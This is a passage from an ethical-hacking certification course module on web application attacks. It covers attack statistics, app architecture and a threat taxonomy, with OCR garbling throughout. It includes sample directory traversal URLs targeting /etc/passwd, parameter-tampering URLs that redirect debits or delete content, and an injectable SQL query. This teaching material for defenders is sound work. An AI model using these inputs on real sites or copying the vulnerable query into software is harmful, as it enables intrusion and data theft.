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Security News CEH

S ecurity N ew s
XSS Attacks Lead Pack As M ost Frequent Attack Type

Source: http:// www .darkreading.com

Secure cloud hosting company, FireHost, has today announced the findings of
its latest web application attack report, which provides statistical analysis of the 15 million
cyber-attacks blocked by its servers in the US and Europe during Q3 2012. The report looks at
attacks on the web applications, databases and websites of FireHost's customers between July

and September, and offers an impression of the current internet security climate as a whole.

Amongst the cyber-attacks registered in the report, FireHost categorises four attack types in
particular as representing the most serious threat. These attack types are among FireHost's
,Superfecta' and they consist of Cross-site Scripting (XSS), Directory Traversals, SQL Injections,

and Cross-site Request Forgery (CSRF).

One of the most significant changes in attack traffic seen by FireHost between Q2 and Q3 2012
was a considerable rise in the number of cross-site attacks, in particular XSS and CSRF attacks
rose to represent 64% of the group in the third quarter (a 28% increased penetration). XSS is
now the most common attack type in the Superfecta, with CSRF now in second. FireHost's

servers blocked more than one million XSS attacks during this period alone, a figure which rose
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69%, from 603,016 separate attacks in Q2 to 1,018,817 in Q3. CSRF attacks reached second
place on the Superfecta at 843,517.

Cross-site attacks are dependent upon the trust developed between site and user. XSS attacks
involve a web application gathering malicious data from a user via a trusted site (often coming
in the form of a hyperlink containing malicious content), whereas CSRF attacks exploit the trust
that a site has for a particular user instead. These malicious security exploits can also be used
to steal sensitive information such as user names, passwords and credit card details - without

the site or user's knowledge.

The severity of these attacks is dependent on the sensitivity of the data handled by the
vulnerable site and this ranges from personal data found on social networking sites, to the
financial and confidential details entered on ecommerce sites amongst others. A great number
of organisations have fallen victim to such attacks in recent years including attacks on PayPal,
Hotmail and eBay, the latter falling victim to a single CSRF attack in 2008 which targeted 18
million users of its Korean website. Furthermore in September this year, IT giants Microsoft and
Google Chrome both ran extensive patches targeted at securing XSS flaws, highlighting the

prevalence of this growing online threat.

"Cross-site attacks are a severe threat to business operations, especially if servers aren't
properly prepared,"” said Chris Hinkley, CISSP - a Senior Security Engineer at FireHost. "It's vital
that any site dealing with confidential or private user data takes the necessary precautions to
ensure applications remain protected. Locating and fixing any website vulnerabilities and flaws
is a key step in ensuring your business and your customers, don't fall victim to an attack of this
nature. The consequences of which can be significant, in terms of both financial and

reputational damage."
The Superfecta attack traffic for Q3 2012 can be broken down as follows:

As with Q2 2012, the majority of attacks FireHost blocked during the third calendar quarter of
2012 originated in the United States (lImillion / 74%). There has however, been a great shift in
the number of attacks originating from Europe this quarter, as 17% of all malicious attack traffic
seen by FireHost came from this region. Europe overtook Southern Asia (which was responsible

for 6%), to become the second most likely origin of malicious traffic.

Varied trends among the Superfecta attack techniques are demonstrated between this quarter

and last:

During the build up to the holiday season, ecommerce activity ramps up dramatically and
cyber-attacks that target website users' confidential data are also likely to increase as a result.
As well as cross-site attacks, the other Superfecta attack types, SQL Injection and Directory

Transversal, still remain a significant threat despite a slight reduction in frequency this quarter.

Ecommerce businesses need to be aware of the risks that this period may present it to its
security, as Todd Gleason, Director of Technology at FireHost explains, "You'd better believe
that hackers will try and take advantage of any surges in holiday shopping. They will be devising
a number of ways they can take advantage of any web application vulnerabilities and will use

an assortment of different attack types and technigues to do so. When it's a matter of
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confidential data at risk, including customer's financial information - credit card and debit card
details - there's no room for complacency. These organisations need to know that there's an
increased likelihood of attack during this time and it's their responsibility to take the necessary

steps to stop such attacks."

Copyright © 2013 UBM Tech, All rights reserved

http://www.darkreading.com/5ecuritv/news/240009508/firehost-q3-web-application-report-xss-
attacks-lead-pack-as-most-frequent-attack-type.html
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M odule O bjectives

The main objective of this module is to show the various kinds of vulnerabilities that
can be discovered in web applications. The attacks exploiting these vulnerabilities are also
highlighted. The module starts with a detailed description of the web applications. Various web
application threats are mentioned. The hacking methodology reveals the various steps
involved in a planned attack. The various tools that attackers use are discussed to explain the
way they exploit vulnerabilities in web applications. The countermeasures that can be taken to
thwart any such attacks are also highlighted. Security tools that help network administrator to
monitor and manage the web application are described. Finally web application pen testing is

discussed.

This module familiarizes you with:

Module 13 Page 1728 Ethical Hacking and Countermeasures Copyright © by EG-COUNGI
All Rights Reserved. Reproduction is Strictly Prohibited.



Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Hacking Web Applications

How Web Applications Work - Session Management Attack
Web Attack Vectors S Attack Data Connectivity
A Web Application Threats S Attack Web App Client
Web App Hacking Methodology s Attack Web Services
Footprint Web Infrastructure S Web Application Hacking Tools
£ Hacking Webservers S Countermeasures
A Analyze Web Applications s Web Application Security Tools
A Attack Authentication Mechanism s Web Application Firewall
A Attack Authorization Schemes S Web Application Pen Testing
Module 3 Page 1729 Ethical Hacking and Countermeasures Copyright © by ECQOU1QI

All Rights Reserved. Reproduction is Strictly Prohibited.



Ethical Hacking and Countermeasures
Hacking Web Applications

-=A

M odule Flow

Web applications are the

application

Exam 312-50 Certified Ethical Hacker

Copyright © by E&Coinal. All Rights Reserved. Reproduction is Strictly Prohibited.

programs accessed only with Internet

connection enabled. These applications use HTTP as their primary communication protocol.

Generally, the attackers target these apps for several reasons. They are exposed to various

attacks. For clear understanding of the "hacking web applications” we divided the concept into

various sections.

Q

® ©

o

Let us begin with the Web App concepts.

Web App Concepts

Web App Threats

Hacking Methodology

Web Application Hacking Tools
Countermeasures

Security Tools

Web App Pen Testing
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AA Web App Pen Testing Web App Concepts
Security Tools Web App Threats
Countermeasures n Hacking Methodology

Web Application Hacking Tools

This section introduces you to the web application and its components, explains how the web
application works, and its architecture. It provides insight into web 2.0 application, vulnerability

stacks, and web attack vectors.
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Web Application Security

Statistics CEH

Cross-Site Scripting

Information Leakage
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ff W eb A pplication S ecurity S tatistics
~ Source: https://www.whitehatsec.com

According to the WHITEHAT security website statistics report in 2012, it is clear that the cross-
site scripting vulnerabilities are found on more web applications when compared to other
vulnerabilities. From the graph you can observe that in the year 2012, cross-site scripting
vulnerabilities are the most common vulnerabilities found in 55% of the web applications. Only
10% of web application attacks are based on insufficient session expiration vulnerabilities. In
order to minimize the risks associated with cross-site scripting vulnerabilities in the web

applications, you have to adopt necessary countermeasures against them.
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Cross-Site Scripting
Information Leakage

Content Spoofing

Insufficient Authorization

[ ] L Cross-Site Request Forgery

Brute Force
Predictable Resource Location
SQL Injection
Session Fixation
Insufficient Session Expiration

20

FIGURE 13.1: WHITEHAT SECURITY WEBSITE STATISTICS REPORT, 2012
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Introduction to W eb A pplications C EH

Web applications provide an interface between

end users and web servers through a set of Though web applications enforce certain

web pages that are generated at the security policies, they are vulnerable

. . to various attacks such as SQL
server end or contain script code to

. . injection, cross-site scripting,
be executed dynamically within ) pting

the clientweb browser \ session hijacking, etc.

*
l

Web applicationsand Web 2.0

. . . New web technologies such as
technologies are invariably used to

Web 2.0 provide more attack

supportcritical business functions . .
surface for web application

such as CRM, SCM, etc. and improve -
exploitation

business efficiency
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Introduction to W eb Applications

Web applications are the application that run on the remote web server and send the
output over the Internet. Web 2.0 technologies are used by all the applications based on the
web-based servers such as communication with users, clients, third-party users, etc.

A web application is comprised of many layers of functionality. However, it is considered a
three-layered architecture consisting of presentation, logic, and data layers.

The web architecture relies substantially on the technology popularized by the World Wide
Web, Hypertext Markup Language (HTML), and the primary transport medium, e.g. Hyper Text
Transfer Protocol (HTTP). HTTP is the medium of communication between the server and the
client. Typically, it operates over TCP port 80, but it may also communicate over an unused
port.

Web applications provide an interface between end users and web servers through a set of
web pages that are generated at the server end or contain script code to be executed
dynamically within the client web browser.

Some of the popular web servers present today are Microsoft IIS, Apache Software
Foundation's Apache HTTP Server, AOL/Netscape's Enterprise Server, and Sun One. Resources
are called Uniform Resource ldentifiers (URIs), and they may either be static pages or contain
dynamic content. Since HTTP is stateless, e.g., the protocol does not maintain a session state,
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the requests for resources are treated as separate and unique. Thus, the integrity of a link is not

maintained with the client.

Cookies can be used as tokens, which servers hand over to clients to allow access to websites.
However, cookies are not perfect from a security point of view because they can be copied and
stored on the client's local hard disk, so that users do not have to request a token for each
query. Though web applications enforce certain security policies, they are vulnerable to various
attacks such as SQL injection, cross-site scripting, session hijacking, etc. Organizations rely on
web applications and Web 2.0 technologies to support key business processes and improve
performance. New web technologies such as Web 2.0 provide more attack surface for web

application exploitation.

Attackers use different types of vulnerabilities that can be discovered in web applications and
exploit them to compromise web applications. Attackers also use tools to launch attacks on
web applications.
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W eb A pplication C om ponents C EH

Urtifwd  iticMjl - NvhM

1S
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N W eb Application Components
The components of web applications are listed as follows

Login: Most of the websites allow authentic users to access the application by means of login. It
means that to access the service or content offered by the web application user needs to
submit his/her username and password. Example gmail.com

The Web Server: It refers to either software or hardware intended to deliver web content that
can be accessed through the Internet. An example is the web pages served to the web browser
by the web server.

Session Tracking Mechanism: Each web application has a session tracking mechanism. The
session can be tracked by using cookies, URL rewriting, or Secure Sockets Layer (SSL)
information.

User Permissions: When you are not allowed to access the specified web page in which you are
logged in with user permissions, you may redirect again to the login page or to any other page.

The Application Content: It is an interactive program that accepts web requests by clients and
uses the parameters that are sent by the web browser for carrying out certain functions.

Data Access:. Usually the web pages will be contacting with each other via a data access library
in which all the database details are stored.
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The Data Store: It is a way to the important data that is shared and synchronized between the
children/threats. This stored information is quite important and necessary for higher levels of
the application framework. It is not mandatory that the data store and the web server are on
the same network. They can be in contact or accessible with each other through the network

connection.
Role-level System Security

Application Logic: Usually web applications are divided into tiers of which the application logic
is the middle tier. It receives the request from the web browser and gives it services
accordingly. The services offered by the application logic include asking questions and giving
the latest updates against the database as well as generating a user interface.

Logout: An individual can shut down or log out of the web application or browser so that the
session and the application associated with it end. The application ends either by taking the
initiative by the application logic or by automatically ending when the servlet session times out.
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H ow W eb A pplications W ork C EMH
ID Topic News
SELECT * from news where id = 6329
6329 Tech CNN
Output
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How W eb Applications W ork

Whenever someone clicks or types in the browser, immediately the requested website
or content is displayed on the screen of the computer, but what is the mechanism behind this?
This is the step-by-step process that takes place once a user sends a request for particular
content or a website where multiple computers are involved.

The web application model is explained in three layers. The first layer deals with the user input
through a web browser or user interface. The second layer contains JSP (Java servlets) or ASP
(Active Server Pages), the dynamic content generation technology tools, and the last layer
contains the database for storing customer data such as user names and passwords, credit card
details, etc. or other related information.

Let's see how the user triggers the initial request through the browser to the web application
server:

© First the user types the website name or URL in the browser and the request is sent to
the web server.

© On receiving the request ,the web server checks the file extension:

© If the user requests a simple web page with an HTM or HTML extension, the web
server processes the request and sends the file to the user's browser.
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© If the user requests a web page with the extension CFM, CFML, or CFC, then the

request must be processed by the web application server.

Therefore, the web server passes the user's request to the web application server.
The user's request is now processed by the web application server. In order to
process the user's request, the web server accesses the database placed at the third
layer to perform the requested task by updating or retrieving the information stored
on the database. Once done processing the request, web application server sends
the results to the web server, which in turn sends the results to the user's browser.

User Login Form Internet Firewall Web Server

FIGURE 13.2: Working of Web Application
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W eb A pplication A rchitecture C EH
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W eb Application Architecture

All web applications execute with the help of the web browser as a support client. The
web applications use a group of server-side scripts (ASP, PHP, etc.) and client-side scripts
(HTML, JavaScript, etc.) to execute the application. The information is presented by using the
client-side script and the hardware tasks such as storing and gathering required data by the
server-side script.

In the following architecture, the clients uses different devices, web browsers, and external
web services with the Internet to get the application executed using different scripting
languages. The data access is handled by the database layer using cloud services and a
database server.
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Web Browser o
Application Server
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legacy Application

Data Access

Database Layer

Cloud Services
Database Server

FIGURE 13.3: Web Application Architecture
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W eb 2.0 A pplica tio n s C EH
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user participation, social interaction and collaboration
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Web 2.0 Applications

Web 2.0 refers to a new generation of web applications that provide an infrastructure
for more dynamic user participation, social interaction, and collaboration. It offers various
features such as:

© Advanced gaming

Dynamic as opposed to static site content

RSS-generated syndication

Social networking sites (Flickr, Facebook, del.cio.us)

Mash-ups (emails, IMs, electronic payment systems)

Wikis and other collaborative applications

Google Base and other free web services (Google Maps)

Ease of data creation, modification, or deletion by individual users
Online office software (Google Docs and Microsoft Light)

Interactive encyclopedias and dictionaries

© 6 6 © © © © 0o © ©

Cloud computing websites such as Amazon.com
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6 Frameworks (Yahoo! Ul Library, jQuery)

© Flash-rich interface websites
Q Mobile application (iPhone)
Q New technologies like AJAX (Gmail, YouTube)
© Blogs (Wordpress)
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V u Iln e ra b ility S ta c k C EH
. . Business Logic Flaws

Custom Web Applications .
— Technical Vulnerabilities
Third Party Components E I E Open Source / Commercial
Database frwr Oracle / MySQL / MS SQL
Web Server Apache / Microsoft IIS

Apache

Windows / Linux
Operating System JOSX
Network Router / Switch
Security IPS/ IDS
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V ulnerability Stack

if - The web applications are maintained and accessed through various levels that include:
custom web applications, third-party components, databases, web servers, operating systems,
networks, and security. All the mechanisms or services employed at each level help the user in
one or the other way to access the web application securely. When talking about web
applications, security is a critical component to be considered because web applications are a
major sources of attacks. The following vulnerability stack shows the levels and the
corresponding element/mechanism/service employed at each level that makes the web
applications vulnerable:
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Security
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Business Logic Flaws
Technical Vulnerabilities

Open Source/ Commercial

Oracle / MySQL / MS SQL

Apache / Microsoft IIS

Windows / Linux
/OS X

Router/ Switch
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FIGURE 13.4: Vulnerability Stack
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W eb A tta c k V e ctors C EH

An attack vector is a path or means by which an attacker can gain
w access to computer or network resources in orderto deliver an

attack payload or cause a malicious outcome (

Attack vectors include parameter manipulation, XML poisoning,
client validation, server misconfiguration, web service routing

issues, and cross-site scripting

Security controls need to be updated continuously as the attack

vectors keep changing with respectto atargetof attack
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W eb Attack Vectors

An attack vector is a method of entering into to unauthorized systems to performing
malicious attacks. Once the attacker gains access into the system or the network he or she
delivers an attack payload or causes a malicious outcome. No protection method is completely
attack-proof as attack vectors keep changing and evolving with new technological changes.

Examples of various types of attack vectors:

© Parameter manipulation: Providing the wrong input value to the web services by the
attacker and gaining the control over the SQL, LDAP, XPATH, and shell commands.
When the incorrect values are provided to the web services, then they become
vulnerable and are easily attacked by web applications running with web services.

0 XML poisoning: Attackers provide manipulated XML documents that when executed can
disturb the logic of parsing method on the server. When huge XMLs are executed at the
application layer, then they can be easily be compromised by the attacker to launch his
or her attack and gather information.

© Client validation: Most client-side validation has to be supported by server-side
authentication. The AJAX routines can be easily manipulated, which in turn makes a way
for attackers to handle SQL injection, LDAP injection, etc. and negotiate the web
application's key resources.
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0 Server Misconfiguration: The attacker exploits the vulnerabilities in the web servers and
tries to break the validation methods to get access to the confidential data stored on

the servers.
0 Web service routing issues: The SOAP messages are permitted to access different nodes

on the Internet by the WS-Routers. The exploited intermediate nodes can give access to
the SOAP messages that are communicated between two endpoints.

0 Cross-site scripting: Whenever any infected JavaScript code is executed, then the

targeted browsers can be exploited to gather information by the attacker.
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oA M odule Flow

Web applications are targeted by attackers for various reasons. The first issue is
quality of the source code as related to security is poor and another issue is an application with
"complex setup." Due to these loopholes, attackers can easily launch attacks by exploiting
them. Now we will discuss the threats associated with web applications.

n Web App Pen Testing Web App Concepts
m Security Tools Web App Threats
Jk Countermeasures €s Hacking Methodology
1S>

Web Application Hacking Tools

B#
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This section lists and explains the various web application threats such as parameter/form

tampering, injection attacks, cross-site scripting attacks, DoS attacks, session fixation attacks,

improper error handling, etc.
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W eb A pplication T hreats 1° C EH
UtiM Itk Nk
Inform ation Broken Account
Leakage Management
Cookie Improper
Poisoning Storage Error Handling
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W eb Application Threats-1

Web application threats are not limited to attacks based on URL and port80. Despite
using ports, protocols, and the OSI layer, the integrity of mission-critical applications must be
protected from possible future attacks. Vendors who want to protect their products’
applications must be able to deal with all methods of attack.

The various types of web application threats are as follows:
Cookie Poisoning

By changing the information inside the cookie, attackers bypass the authentication
process and once they gain control over the network, they can either modify the
content, use the system for the malicious attack, or steal information from the user's system.

Directory Traversal

Attackers exploit HTTP by using directory traversal and they will be able to access
restricted directories; they execute commands outside of the web server's root
directory.

Unvalidated Input

In order to bypass the security system, attackers tamper with the http requests, URL,
headers, form fields, hidden fields, query strings etc. Users' login IDs and other related
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data gets stored in the cookies and this becomes a source of attack for the intruders. Attackers
gain access to the victim's system using the information present in cookies. Examples of attacks
caused by unvalidated input include SQL injection, cross-site scripting (XSS), buffer overflows,
etc.

Cross-site Scripting (XSS)

"iTf An attacker bypasses the clients ID security mechanism and gains access privileges, and
then injects malicious scripts into the web pages of a particular website. These malicious scripts
can even rewrite the HTML content of the website.

Injection Flaws

Injection flaws are web application vulnerabilities that allow untrusted data to be

interpreted and executed as part of acommand or query.
SQL Injection

This is a type of attack where SQL commands are injected by the attacker via input
data; then the attacker can tamper with the data.

Parameter/Form Tampering

a

This type of tampering attack is intended to manipulating the parameters exchanged
between client and server in order to modify application data, such as user credentials
and permissions, price and quantity of products, etc. This information is actually stored in
cookies, hidden form fields, or URL Query Strings, and is used to increase application
functionality and control. Man in the middle is one of the examples for this type of attack.
Attackers use tools like Web scarab and Paros proxy for these attacks.
Denial-of-Service (DoS)

M |[|M
t i A denial-of-service attack is an attacking method intended to terminate the

operations of a website or a server and make it unavailable to intended users. For
instance, a website related to a bank or email service is not able to function for a few hours to a
few days. This results in loss of time and money.

Broken Access Control

Broken access control is a method used by attackers where a particular flaw has been
identified related to the access control, where authentication is bypassed and the
attacker compromises the network.

W/ Cross-site RequestForgery

The cross-site request forgery method is a kind of attack where an authenticated user
in made to perform certain tasks on the web application that an attackers chooses. For
example, a user clicking on a particular link sent through an email or chat.

Inform ation Leakage
Information leakage can cause great losses for a company. Hence, all sources such as
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systems or other network resources must be protected from information leakage by employing
proper content filtering mechanisms.

Im proper Error Handling

It is necessary to define how the system or network should behave when an error
occurs. Otherwise, it may provide a chance for the attacker to break into the system.
Improper error handling may lead to DoS attacks.

Log Tampering

Logs are maintained by web applications to track usage patterns such as user login
credentials, admin login credentials, etc. Attackers usually inject, delete, or tamper
with web application logs so that they can perform malicious actions or hide their identities.

Buffer Overflow

A web application's buffer overflow vulnerability occurs when it fails to guard its
buffer properly and allows writing beyond its maximum size.

Broken Session Management

When security-sensitive credentials such as passwords and other useful material are
not properly taken care, these types of attacks occur. Attackers compromise the
credentials through these security vulnerabilities.

Security Misconfiguration

Developers and network administrators should check that the entire stack is

configured properly or security misconfiguration can happen at any level of an
application stack, including the platform, web server, application server, framework, and
custom code. Missing patches, misconfigurations, use of default accounts, etc. can be detected
with the help of automated scanners that attackers exploit to compromise web application
security.

Broken Account Management

---------- Even authentication schemes that are valid are weakened because of vulnerable
account management functions including account update, forgotten or lost password recovery
or reset, password changes, and other similar functions.

Insecure Storage

Web applications need to store sensitive information such as passwords, credit card

numbers, account records, or other authentication information somewhere; possibly
in a database or on a file system. If proper security is not maintained for these storage
locations, then the web application may be at risk as attackers can access the storage and
misuse the information stored. Insecure storage of keys, certificates, and passwords allow the
attacker to gain access to the web application as a legitimate user.
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W eb Application Threats2"

Platform E xploits

Various web applications are built on by using different platforms such as BEA Web logic and
ColdFusion. Each platform has various vulnerabilities and exploits associated with it.

in Insecure Direct Object References

When various internal implementation objects such as file, directory, database
record, or key are exposed through a reference by a developer, then the insecure direct object

reference takes place.

For example, where a bank account number is made a primary key, then there is a good change
it can be compromised by the attacker based on such references.

Insecure Cryptographic Storage

When sensitive data has been stored in the database, it has to be properly encrypted
using cryptography. A few cryptographic encryption methods developed by developers are not
up to par. Cryptographically very strong encryption methods have to be used. At the same time,
care must be taken to store the cryptographic keys. If these keys are stored in insecure places,
then the attacker can obtain them easily and decrypt the sensitive data.
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Authentication Hijacking

In order to identify the user, every web application uses user identification such as a
user ID and password. Once the attacker compromises the system, various malicious
things like theft of services, session hijacking, and user impersonation can occur.

Network Access Attacks

fill 1= Network access attacks can majorly impact web applications. These can have an effect

on basic level of services within an application and can allow access that standard HTTP
application methods would not have access to.

Cookie Snooping

= Attackers use cookie snooping on avictim's system to analyze their surfing habits and
sell that information to other attackers or may use this information to launch various

attacks on the victim's web applications.
Web Services Attacks

Web services are process-to-process communications that have special security issues
and needs. An attacker injects a malicious script into a web service and is able to
disclose and modify application data.

-A Insufficient TransportlLayer Protection

SSL/TLS authentications should be used for authentication on websites or the attacker
can monitor network traffic to steal an authenticated user's session cookie.

Various threats such as account theft, phishing attacks, and admin accounts may happen after

systems are being compromised.

n

r Hidden M anipulation
|
These types of attacks are mostly used by attackers to compromise e-commerce

websites. Attackers manipulate the hidden fields and change the data stored in them. Several
online stores face this type of problem every day. Attackers can alter prices and conclude
transactions with the prices of their choice.

DMZ Protocol Attacks

The DMZ (Demilitarized Zone) is a semi-trusted network zone that separates the
untrusted Internet from the company's trusted internal network. An attacker who is able to
compromise a system that allows other DMZ protocols has access to other DMZs and internal
systems. This level of access can lead to:

© Compromise of the web application and data
Q Defacement of websites

© Access to internal systems, including databases, backups, and source code
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Unvalidated Redirects and Forwards

Attackers make a victim click an unvalidated link that appears to be a valid site. Such
redirects may attempt to install malware or trick victims into disclosing passwords or
other sensitive information. Unsafe forwards may allow access control bypass leading to:

0 Session fixation attacks
© Security management exploits
0 Failure to restrict URL access

e Malicious file execution
Failure to Restrict URL Access

An app ication often safeguards or protects sensitive functionality and prevents the
displays of links or URLs for protection. Attackers access those links or URLs directly
and perform illegitimate operations.

O bfuscation Application

Attackers usually work hard at hiding their attacks and to avoid detection. Network

and host intrusion detection systems (IDSs) are constantly looking for signs of well-
known attacks, driving attackers to seek different ways to remain undetected. The most
common method of attack obfuscation involves encoding portions of the attack with Unicode,
UTF-8, or URL encoding. Unicode is a method of representing letters, numbers, and special
characters so these characters can be displayed properly, regardless of the application or
underlying platform in which they are used.

Security Management Exploits

Some attackers target security management systems, either on networks or on the

application layer, in order to modify or disable security enforcement. An attacker who
exploits security management can directly modify protection policies, delete existing policies,
add new policies, and modify applications, system data, and resources.

__L* Session Fixation Attack

In a session fixation attack, the attacker tricks or attracts the user to access a

legitimate web server using an explicit session ID value.
M alicious File Execution

Malicious file execution vulnerabilities had been found on most applications. The

cause of this vulnerability is because of unchecked input into the web server. Due to
this unchecked input, the files of attackers are easily executed and processed on the web
server. In addition, the attacker performs remote code execution, installs the rootkit remotely,
and in at least some cases, takes complete control over the systems.
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U nvalidated In p u't C EH
Input validation flaws refers to a web application An attacker exploits input validation flaws to
vulnerability where input from aclient is not perform cross-site scripting, buffer overflow,
validated before being processed by web injection attacks, etc. that result in data
applications and backend servers theft and system malfunctioning
Boy.com
Database

* Browserinput not
« validated by the web

: application
string sql — ,select * from Users
http://juggyboy.com/login.aspx where
?user=jasonsOpass=sprxngfield user ='" + User.Text + "'
and pwd='" + Password.Text + "l«r
Browser Post Request Modified Query
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Unvalidated Input

An input validation flaw refers to a web application vulnerability where input from a
client is not validated before being processed by web applications and backend servers. Sites
try to protect themselves from malicious attacks through input filtration, but there are various
methods prevailing for the the purpose of encoding. Many http inputs have multiple formats
that make filtering very difficult. The canonicalization method is used to simplify the encodings
and is useful in avoiding various vulnerable attacks. Web applications use only a client-side
mechanism in input validation and attackers can easily bypass it. In order to bypass the security
system, attackers tamper the http requests, URLs, headers, form fields, hidden fields, and query
strings. Users' login IDs and other related data gets stored in the cookies and this becomes a
source of attack for intruders. Attackers gain access to the systems by using the information
present in the cookies. Various methods used by hackers are SQL injection, cross-site scripting
(XSS), buffer overflows, format string attacks, SQL injection, cookie poisoning, and hidden field
manipulation that result in data theft and system malfunctioning.
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Database

: Browserinput not
: validated by the web

: application
string sql — ,select * from Users
where
user + User.Text + "'

and pwd=1" + Password.Text + "'"r

Modified Query
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P aram eter/Form Tam pering C E H

Urtifwd  tifexjl  1UthM

J A web parametertampering attack involves the manipulation of parameters exchanged between
client and server in order to modify application data such as user credentials and permissions,
price, and quantity of products

J A parametertampering attack exploits vulnerabilities in integrity and logic validation mechanisms
that may resultin XSS, SQL injection, etc.

Tampering with the |
URL parameters 1

Other parameters can

http://www.juggybank.com/stat.asp?pg=531&status=view < s

be changed including
attribute parameters

00 ®

http://lwww.juggybank.com/stat.asp?pg-147&status™delete <eses
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Parameter/Form Tampering
r-nm
Parameter tampering is a simple form of attack aimed directly at the application's

business logic. This attack takes advantage of the fact that many programmers rely on hidden
or fixed fields (such as a hidden tag in a form or a parameter in an URL) as the only security
measure for certain operations. To bypass this security mechanism, an attacker can change
these parameters.

Detailed Description

Serving the requested files is the main function of web servers. During a web session,

parameters are exchanged between the web browser and the web application in order
to maintain information about the client's session, which eliminates the need to maintain a
complex database on the server side. URL queries, form fields, and cookies are used to pass the
parameters.

Changed parameters in the form field are the best example of parameter tampering. When a
user selects an HTML page, it is stored as aform field value, and transferred as an HTTP page to
the web application. These values may be pre-selected (combo box, check box, radio buttons,
etc.), free text, or hidden. An attacker can manipulate these values. In some extreme cases, it is
just like saving the page, editing the HTML, and reloading the page in the web browser.
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Hidden fields that are invisible to the end user provide information status to the web
application. For example, consider a product order form that includes the hidden field as
follows:

<input type="hidden" name="price" value="99.90">
Combo boxes, check boxes, and radio buttons are examples of pre-selected parameters used to
transfer information between different pages, while allowing the user to select one of several

predefined values. In a parameter tampering attack, an attacker may manipulate these values.
For example, consider a form that includes the combo box as follows:

<FORM METHOD=POST ACTION="xferMoney.asp">

Source Account: <SELECT NAME="SrcAcc">

<OPTION VALUE="123456789">******789</OPTION>

<OPTION VALUE="868686868">******868</OPTIONX/SELECT>
<BR>Amount: <INPUT NAME="Amount" SIZE=20>
<BR>Destination Account: <INPUT NAME="DestAcc" SIZE=40>
<BRXINPUT TYPE=SUBMIT> <INPUT TYPE=RESET>

</[FORM>

Bypassing

An attacker may bypass the need to choose between two accounts by adding another account
into the HTML page source code. The new combo box is displayed in the web browser and the
attacker can choose the new account.

HTML forms submit their results using one of two methods: GET or POST. In the GET method,
all form parameters and their values appear in the query string of the next URL, which the user
sees. An attacker may tamper with this query string. For example, consider a web page that
allows an authenticated user to select one of his or her accounts from a combo box and debit
the account with a fixed unit amount. When the submit button is pressed in the web browser,
the URL is requested as follows:

http://www .iuggvbank.com/cust.asp?profile=21&debit=2500

An attacker may change the URL parameters (profile and debit) in order to debit another
account:

http://www.iuggybank.com/cust.asp?profile=82&debit=1500

There are other URL parameters that an attacker can modify, including attribute parameters
and internal modules. Attribute parameters are unique parameters that characterize the
behavior of the uploading page. For example, consider a content-sharing web application that
enables the content creator to modify content, while other users can only view the content.
The web server checks whether the user who is accessing an entry is the author or not (usually
by cookie). An ordinary user will request the following link:

http://www.iuggybank.com/stat.asp?pg=531&status=view
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An attacker can modify the status parameter to "delete” in order to delete permission for the
content.

http://www.iuggybank.com/stat.asp?pg=147&status=delete

Parameter/form tampering can lead to theft of services, escalation of access, session hijacking,
and assuming the identity of other users as well as parameters allowing access to developer
and debugging information.

[G O it/ Asnguooyberk comfoLst e diile=21808H =250

pwygyamt 3 RasEED

Tampering with the URL

parameters

Other parameters can be

| GO http://www .juggybank.com/stat.asp?pg=531&status=view <£ changed including attribute
parameters

| Q O http://www.juggybank.com/stat.asp?pg=147&status=delete -]

FIGURE 13.6: Form Tampering
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v D irectory Traversal

When access is provided outside a defined application, there exists the possibility of
unintended information disclosure or modification. Complex applications exist as application
components and data, which are typically configured in multiple directories. An application has
the ability to traverse these multiple directories to locate and execute the legitimate portions of
an application. A directory traversal/forceful browsing attack occurs when the attacker is able
to browse for directories and files outside the normal application access. A Directory
Traversal/Forceful Browsing attack exposes the directory structure of an application, and often
the underlying web server and operating system. With this level of access to the web

application architecture, an attacker can:
© Enumerate the contents of files and directories
Access pages that otherwise require authentication (and possibly payment)
Gain secret knowledge ofthe application and its construction
Discover user IDs and passwords buried in hidden files

Locate source code and other interesting files left on the server

©@ © © © o

View sensitive data, such as customer information
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The following example uses to backup several directories and obtain a file containing a
backup of the web application:

http://www .targetsite.com/../../../sitebackup.zip

This example obtains the "/etc/passwd" file from a UNIX/Linux system, which contains user
account information:

http://www .targetsite.com/../../../../letc/passwd

Let us consider another example where an attacker tries to access files located outside the web
publishing directory using directory traversal:

http://www.iuggybov.com/process.aspx=.J. /s o m e dir/some file
http://www.iuggyboy.com/../m./../../some dir/some file

The pictorial representation of directory traversal attack is shown as follows:

1..1..Issletc/passwd

<?php
$them3— 'i?‘),g"r,p_m" =M 1y ))
> [c
password files
Attacker

root:a98b24a1d3e8:0:1:System Operator:/:/bin/ksh

daemon:*:l:l::/tmp: Vulnerable Server Code
Jason:a3b698a76f76d57.:182:100:Developer:/home/users/Jason/:/bin/csh

FIGURE 13.7: Directory Traversal
Module 13 Page 1762 Ethical Hacking and Countermeasures Copyright © by EG-COUNGI

All Rights Reserved. Reproduction is Strictly Prohibited.


http://www.targetsite.com/../../../sitebackup.zip
http://www.targetsite.com/../../../../etc/passwd
http://www.iuggybov.com/process.aspx=
http://www.iuggyboy.com/../%e2%96%a0./../../some

Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Hacking Web Applications

S ecurity M iscon figuration C EH

Easy Exploitation

Using misconfiguration vulnerabilities, attackers gain
unauthorized accesses to default accounts, read
unused pages, exploit unpatched flaws, and read or
write unprotected files and directories, etc.

Common Prevalence

Security misconfiguration can occur at any level
of an application stack, including the platform,
web server, application server, framework, and
custom code

Example

€ The application server admin console is automatically
installed and not removed

Default accounts are not changed

Attacker discovers the standard admin pages on server,
logs in with default passwords, and takes over
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M Security Misconfiguration

o Developers and network administrators should check that the entire stack is
configured properly or security misconfiguration can happen at any level of an application
stack, including the platform, web server, application server, framework, and custom code. For
instance, if the server is not configured properly, then it results in various problems that can
infect the security of a website. The problems that lead to such instances include server
software flaws, unpatched security flaws, enabling unnecessary services, and improper
authentication. A few of these problems can be detected easily with the help of automated
scanners. Attackers can access default accounts, unused pages, unpatched flaws, unprotected
files and directories, etc. to gain unauthorized access. All the unnecessary and unsafe features
have to be taken care of and it proves very beneficial if they are completely disabled so that the
outsiders don't make use of them for malicious attacks. All the application-based files have to
be taken care of through proper authentication and strong security methods or crucial

information can be leaked to the attackers.
Examples of unnecessary features that should be disable or changed include:
Q The application server admin console is automatically installed and not removed

© Default accounts are not changed
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6 Attacker discovers the standard admin pages on server, logs in with default passwords,
and takes over
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In je c tio n F la w s C EH

